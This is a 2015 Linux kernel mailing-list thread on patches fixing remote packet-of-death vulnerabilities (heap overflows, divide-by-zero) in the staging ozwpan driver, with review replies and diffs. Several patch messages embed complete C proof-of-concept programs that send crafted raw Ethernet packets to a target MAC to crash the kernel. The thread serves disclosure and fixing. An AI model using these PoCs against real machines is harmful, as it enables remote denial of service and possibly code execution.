n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
+ if (n > len / body->unit_size)
+ break;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
data, body->unit_size);
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* RE: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:33 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-15 15:02 ` David Laight
[not found] ` <CAHmME9oA3AxBvAYyu38o4Teo3QBjvJZLzmiAv7RyThGbtv6zkw@mail.gmail.com>
2015-05-16 10:20 ` Charles (Chas) Williams
0 siblings, 2 replies; 42+ messages in thread
From: David Laight @ 2015-05-15 15:02 UTC (permalink / raw)
To: 'Jason A. Donenfeld',
shigekatsu.tateno, linux-kernel, netdev, oss-security
From: Jason A. Donenfeld
> Sent: 13 May 2015 19:34
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
...
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
Why not just check the length. eg:
unsigned int data_len = elt->length;
if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));
Don't put variable definitions after code.
You don't really want to do arithmetic on local variables that are
smaller than a machine word (eg u8 and u16), doing so can require
the compiler generate a lot more code.
David
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
[not found] ` <CAHmME9oA3AxBvAYyu38o4Teo3QBjvJZLzmiAv7RyThGbtv6zkw@mail.gmail.com>
@ 2015-05-15 18:04 ` Jason A. Donenfeld
0 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-15 18:04 UTC (permalink / raw)
To: David Laight; +Cc: linux-kernel, shigekatsu.tateno, Greg Kroah-Hartman, devel
On May 15, 2015 4:10 PM, "David Laight" <David.Laight@aculab.com> wrote:
> Why not just check the length. eg:
> unsigned int data_len = elt->length;
> if (data_len < sizeof(struct oz_get_desc_rsp) + 1)
> break;
Sure.
> > u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> > u16 total_size =
> > le16_to_cpu(get_unaligned(&body->total_size));
>
> Don't put variable definitions after code.
>
> You don't really want to do arithmetic on local variables that are
> smaller than a machine word (eg u8 and u16), doing so can require
> the compiler generate a lot more code.
This is code is just part of the patch context. Care to submit a
follow up patch fixing this so the maintainer can incorporate it? FYI,
this is a common occurrence throughout the driver, and a patch set
should probably be posted that systematically fixes this problem.
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-15 15:02 ` David Laight
[not found] ` <CAHmME9oA3AxBvAYyu38o4Teo3QBjvJZLzmiAv7RyThGbtv6zkw@mail.gmail.com>
@ 2015-05-16 10:20 ` Charles (Chas) Williams
1 sibling, 0 replies; 42+ messages in thread
From: Charles (Chas) Williams @ 2015-05-16 10:20 UTC (permalink / raw)
To: David Laight
Cc: 'Jason A. Donenfeld',
shigekatsu.tateno, linux-kernel, netdev, oss-security
On Fri, 2015-05-15 at 15:02 +0000, David Laight wrote:
> From: Jason A. Donenfeld
> > Sent: 13 May 2015 19:34
> > Since elt->length is a u8, we can make this variable a u8. Then we can
> > do proper bounds checking more easily. Without this, a potentially
> > negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> > resulting in a remotely exploitable heap overflow with network
> > supplied data.
> ...
> > diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> > index d434d8c..cd6c63e 100644
> > --- a/drivers/staging/ozwpan/ozusbsvc1.c
> > +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> > @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> > case OZ_GET_DESC_RSP: {
> > struct oz_get_desc_rsp *body =
> > (struct oz_get_desc_rsp *)usb_hdr;
> > - int data_len = elt->length -
> > + u8 data_len = elt->length -
> > sizeof(struct oz_get_desc_rsp) + 1;
> > + if (data_len > elt->length)
> > + break;
This check already seems bogus? It's really:
if (sizeof(struct oz_get_desc_rsp) - 1 < 0)
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:58 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-24 20:26 ` Greg Kroah-Hartman
0 siblings, 0 replies; 42+ messages in thread
From: Greg Kroah-Hartman @ 2015-05-24 20:26 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: oss-security, linux-kernel, Shigekatsu Tateno, devel
On Wed, May 13, 2015 at 08:58:17PM +0200, Jason A. Donenfeld wrote:
> Since elt->length is a u8, we can make this variable a u8. Then we can
> do proper bounds checking more easily. Without this, a potentially
> negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
> resulting in a remotely exploitable heap overflow with network
> supplied data.
>
> This could result in remote code execution. A PoC which obtains DoS
> follows below. It requires the ozprotocol.h file from this module.
>
> =-=-=-=-=-=
>
> #include <arpa/inet.h>
> #include <linux/if_packet.h>
> #include <net/if.h>
> #include <netinet/ether.h>
> #include <stdio.h>
> #include <string.h>
> #include <stdlib.h>
> #include <endian.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
>
> #define u8 uint8_t
> #define u16 uint16_t
> #define u32 uint32_t
> #define __packed __attribute__((__packed__))
> #include "ozprotocol.h"
>
> static int hex2num(char c)
> {
> if (c >= '0' && c <= '9')
> return c - '0';
> if (c >= 'a' && c <= 'f')
> return c - 'a' + 10;
> if (c >= 'A' && c <= 'F')
> return c - 'A' + 10;
> return -1;
> }
> static int hwaddr_aton(const char *txt, uint8_t *addr)
> {
> int i;
> for (i = 0; i < 6; i++) {
> int a, b;
> a = hex2num(*txt++);
> if (a < 0)
> return -1;
> b = hex2num(*txt++);
> if (b < 0)
> return -1;
> *addr++ = (a << 4) | b;
> if (i < 5 && *txt++ != ':')
> return -1;
> }
> return 0;
> }
>
> int main(int argc, char *argv[])
> {
> if (argc < 3) {
> fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
> return 1;
> }
>
> uint8_t dest_mac[6];
> if (hwaddr_aton(argv[2], dest_mac)) {
> fprintf(stderr, "Invalid mac address.\n");
> return 1;
> }
>
> int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
> if (sockfd < 0) {
> perror("socket");
> return 1;
> }
>
> struct ifreq if_idx;
> int interface_index;
> strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
> if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
> perror("SIOCGIFINDEX");
> return 1;
> }
> interface_index = if_idx.ifr_ifindex;
> if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
> perror("SIOCGIFHWADDR");
> return 1;
> }
> uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_elt_connect_req oz_elt_connect_req;
> } __packed connect_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(0)
> },
> .oz_elt = {
> .type = OZ_ELT_CONNECT_REQ,
> .length = sizeof(struct oz_elt_connect_req)
> },
> .oz_elt_connect_req = {
> .mode = 0,
> .resv1 = {0},
> .pd_info = 0,
> .session_id = 0,
> .presleep = 35,
> .ms_isoc_latency = 0,
> .host_vendor = 0,
> .keep_alive = 0,
> .apps = htole16((1 << OZ_APPID_USB) | 0x1),
> .max_len_div16 = 0,
> .ms_per_isoc = 0,
> .up_audio_buf = 0,
> .ms_per_elt = 0
> }
> };
>
> struct {
> struct ether_header ether_header;
> struct oz_hdr oz_hdr;
> struct oz_elt oz_elt;
> struct oz_get_desc_rsp oz_get_desc_rsp;
> } __packed pwn_packet = {
> .ether_header = {
> .ether_type = htons(OZ_ETHERTYPE),
> .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
> .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> },
> .oz_hdr = {
> .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
> .last_pkt_num = 0,
> .pkt_num = htole32(1)
> },
> .oz_elt = {
> .type = OZ_ELT_APP_DATA,
> .length = sizeof(struct oz_get_desc_rsp) - 2
> },
> .oz_get_desc_rsp = {
> .app_id = OZ_APPID_USB,
> .elt_seq_num = 0,
> .type = OZ_GET_DESC_RSP,
> .req_id = 0,
> .offset = htole16(0),
> .total_size = htole16(0),
> .rcode = 0,
> .data = {0}
> }
> };
>
> struct sockaddr_ll socket_address = {
> .sll_ifindex = interface_index,
> .sll_halen = ETH_ALEN,
> .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
> };
>
> if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> usleep(300000);
> if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
> perror("sendto");
> return 1;
> }
> return 0;
> }
>
> Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
> ---
> drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
> index d434d8c..cd6c63e 100644
> --- a/drivers/staging/ozwpan/ozusbsvc1.c
> +++ b/drivers/staging/ozwpan/ozusbsvc1.c
> @@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
> case OZ_GET_DESC_RSP: {
> struct oz_get_desc_rsp *body =
> (struct oz_get_desc_rsp *)usb_hdr;
> - int data_len = elt->length -
> + u8 data_len = elt->length -
> sizeof(struct oz_get_desc_rsp) + 1;
> + if (data_len > elt->length)
> + break;
> u16 offs = le16_to_cpu(get_unaligned(&body->offset));
> u16 total_size =
> le16_to_cpu(get_unaligned(&body->total_size));
This patch adds a build warning. Please fix it up and resend the
series.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:58 ` Jason A. Donenfeld
` (3 preceding siblings ...)
2015-05-13 18:58 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
@ 2015-05-26 12:17 ` Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
` (4 more replies)
4 siblings, 5 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 12:17 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
This is v2 for this patch series, fixing a compiler warning.
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 18 ++++++++++++++----
3 files changed, 20 insertions(+), 10 deletions(-)
--
2.4.1
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
@ 2015-05-26 12:17 ` Jason A. Donenfeld
2015-05-26 13:32 ` Dan Carpenter
2015-05-26 12:17 ` [PATCH v2 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
` (3 subsequent siblings)
4 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 12:17 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..35198b9 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u16 offs, total_size;
+ u8 data_len;
+
+ data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
- u16 offs = le16_to_cpu(get_unaligned(&body->offset));
- u16 total_size =
+ if (data_len > elt->length)
+ break;
+ offs = le16_to_cpu(get_unaligned(&body->offset));
+ total_size =
le16_to_cpu(get_unaligned(&body->total_size));
oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
--
2.4.1
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v2 2/4] ozwpan: Use unsigned ints to prevent heap overflow
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-26 12:17 ` Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
` (2 subsequent siblings)
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 12:17 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.4.1
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH v2 3/4] ozwpan: divide-by-zero leading to panic
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
@ 2015-05-26 12:17 ` Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-29 11:06 ` [PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-26 12:17 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
